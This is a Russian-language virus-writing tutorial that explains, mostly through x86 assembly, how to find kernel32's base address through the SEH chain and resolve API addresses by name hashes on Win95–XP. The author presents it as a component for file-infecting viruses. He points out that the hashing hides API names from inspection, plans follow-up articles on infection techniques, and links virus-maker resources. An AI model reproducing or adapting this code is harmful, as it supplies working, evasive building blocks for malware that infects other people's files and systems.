Поиск адресов API в win95-XP
Введение
На эту "избитую" тему написано уже много статей, но представлю на
ваше обозрение еще одну.
Кстати, в этой статье вы не найдете подробного описания полей PE заголовка
и технологии поиска API, предполагается, что в этом вы уже разбираетесь. Так
же не буду останавливаться на очевидных моментах, это уже тысячу раз перетиралось.
Итак, особенности этой статьи заключаются в следующем:
- Код, рассмотренный в данной статье, будет работать на платформах win95-XP,
за счет получения Image Base кернела не со стека, а через анализ SEH.
- Для поиска имени API-функции, код использует хеш от имени этой ф-ии.
Это не бросается в глаза при рассмотрении зараженного файла в HEX Editor'е,
в
случае незашифрованного вируса, а так же сокращает размер кода.
- В коде нет переменных, адреса API-функций и другие нужные нам значения
помещаются в стек, что бывает полезным в том случае, когда ваш вирус
не должен производить
запись в переменные до извлечения адресов API.
Итак поехали... (сначала код, потом комментарии)
Start:
Call _Delta
_Delta:
sub dword ptr [esp], offset _Delta
Теперь в стеке находится дельта смещение кода, можно в этом примере не использовать,
но мне так захотелось.
_ReadSEH:
xor edx,edx
mov eax,fs:[edx]
dec edx
_SearchK32:
cmp [eax],edx
je _CheckK32
mov eax,dword [eax]
jmp _SearchK32
_CheckK32:
mov eax,[eax+4]
xor ax,ax
По адресу fs:0, находится seh, цепочка адресов на обработчики исключений.
Формат одной записи таков:
next_handler dd ? ; указатель на следующую такую же запись seh_handler dd ? ; адрес обработчика исключения
Последний указатель на следующую запись имеет маркировку 0FFFFFFFFh, а адрес
последнего обработчика находится где-то в kernel. В общем, глядите в отладчик,
мы нашли адрес последнего обработчика, а значит и адрес внутри kernel. Дальше
выравним полученный адрес на 64 Кбайта, т.к. kernel грузится по адресу кратному
этому значению. Теперь нам осталось найти Image Base пресловутого и небезызвестного
кернела. Делается это путем поиска сигнатуры MZ и проверки на PE формат...
_SearchMZ: cmp word ptr [eax],5A4Dh je _CheckMZ sub eax,10000h jmp _SearchMZ _CheckMZ: mov edx,[eax+3ch] cmp word ptr [eax+edx],4550h jne _Exit
Так, теперь сравним слово по полученному адресу с 'MZ', если не совпало, то
отнимем 64Кбайта, и повторим, если совпало, то проверим это заголовок PE или
нет. Если да, то можно утверждать, что Image Base Kernel найден, если нет,
то выйдем. Существует ли вероятность не найти Kernel? При использовании seh,
навряд ли, по крайней мере, я этого не наблюдал при тестировании. В случае,
когда адрес внутри Kernel берется со стека, заводится счетчик, чтоб не вылезти
черт знает куда, но это описано в др. статьях. Для перестраховки можно завести
свой обработчик исключений.
_SearchAPI: mov esi,[eax+edx+78h] ;Export Table RVA add esi,eax ;Export Teble VA add esi,18h xchg eax,ebx lodsd ;Num of Name Pointers push eax lodsd ;Address Table RVA push eax lodsd ;Name Pointers RVA push eax add eax,ebx push eax ;Index lodsd ;Ordinal Table RVA push eax mov edi,[esp+4*5] ;Delta offset lea edi,[edi+HeshTable] mov ebp,esp
Здесь я не буду заострять особого внимания, почему, читайте выше. (см. документацию
по PE формату).
В результате выполнения первых двух строк, в esi мы получили смещение таблицы
экспорта кернела. Далее мы получаем другие необходимые нам значения для поиска
адресов API из таблицы экспорта и помещаем их в стек.
В edi у нас смещение таблицы хешей искомых функций.
Т.к. дальше мы будем помещать в стек адреса найденных API ф-ий, то сохраним
указатель стека в ebp, через ebp потом и будем обращаться к найденным адресам.
Несколько слов, что такое index, первоначально он равен Name Pointers и указывает
на таблицу адресов имен экспорта, каждый элемент таблицы равен двойному слову,
и указывает на начало ASCII строки с именем API функции, если к Index прибавить
4, то он будет указывать на следующий адрес в таблице адресов имен... Конечно
много непонятного, но поглядите в отладчик и половина вопросов отпадет.
_BeginSearch: mov ecx,[ebp+4*4] ;NumOfNamePointers xor edx,edx _SearchAPIName: mov esi,[ebp+4*1] ;Index mov esi,[esi] add esi,ebx
В ecx кол-во экспортируемых функций используем как счетчик, чтоб не найти
какую-нибудь муть.
Обнулим edx, там потом будет порядковый номер найденной функции, начиная
с нуля. Это понадобится для нахождения адреса. В esi адрес ACSII имени
API функции,
первоначально указывает на первую.
_GetHash: xor eax,eax push eax _CalcHash: ror eax,7 xor [esp],eax lodsb test al,al jnz _CalcHash pop eax
Далее считаем хеш от имени функции, чтобы потом сравнить с хешем от требуемой
функции, помните, что на имя у нас указывает esi. На выходе в eax будет хеш.
OkHash: cmp eax,dword ptr [edi] je _OkAPI add dword ptr [ebp+4*1],4 ;I=I+4 (I--Index) inc edx loop _SearchAPIName jmp _Exit
Никаких проблем, сравниваем, если равно, то имя функции найдено, и идем высчитывать
ее адрес. Если нет, то прибавляем к Index четыре (чтобы указывал на следующий
адрес имени в таблице экспорта) и ищем дальше, если требуемой функции вообще
не нашли (неправильно написали имя или неверный хеш), то благоразумнее будет
выйти или передать управление жертве, в зависимости от ситуации.
_OkAPI: shl edx,1 mov ecx,[ebp] ;OrdinalTableRVA add ecx,ebx add ecx,edx mov ecx,[ecx] and ecx,0FFFFh mov edx,[ebp+4*3] ;AddressTableRVA add edx,ebx shl ecx,2 add edx,ecx mov edx,[edx] add edx,ebx
Здесь мы окажемся в том случае, если мы нашли имя искомой функции, а следовательно
и ее порядковый номер в edx. Код похож на себе подобный из других статей, потому
отсылаю вас туда (см.ссылки внизу), не люблю писать одно и тоже и повторяться.
Один момент, здесь работа происходит не с переменными, а в стеке, потому глядите
в отладчик, в конце концов.
push edx
cmp word ptr [edi+4],0FFFFh ;0FFFFh-End of HeshTable
je _FindFirstFile
add edi,4
_NextName:
mov ecx,[ebp+4*2] ;NamePointersRVA
add ecx,ebx
mov [ebp+4*1],ecx ;Index
jmp short _BeginSearch
Адрес найден!!! Что и требовалось доказать, помещаем его в стек, смотрим последняя
ли это требуемая функция из таблицы хешей, если нет, то устанавливаем edi на
следующий хеш. Возвращаем Index в первозданное состояние, т.е. что бы он указывал
на адрес имени первой функции в таблице экспорта кернела, и повторяемся...
Полностью рабочий пример можно найти здесь.
Пример тестировался на различных платформах Win95-XP, за что отдельное спасибо
Ingrem'у.
Т.к. я не обладаю творческими изысками, в тексте могут содержаться неточности,
о коих прошу сообщать на sars@ukrtop.com Исправлю...
Если кому-нибудь поможет данная статья, не сочтите за труд черкануть пару
строк автору, тогда возможно продолжу эту тему. Все вопросы по коду туда же,
кроме таких как: "Что такое стек?" и т.д.
Рекомендую отладчики SoftIce и OllyDebugger.
Если данное пособие найдет читателей, то в следующих статьях планирую рассмотреть,
как заразить файл, внедряясь в свободное место в заголовке, а так же другие
способы заражения.
Ссылки:
www.wasm.ru – есть неплохая
обучалка по Win32 VX от Billy Belcebu
www.zombie.host.sk – имеется хороший
FAQ для начинающих вирмейкеров и еще много чего
[C] Sars / HI-TECH
|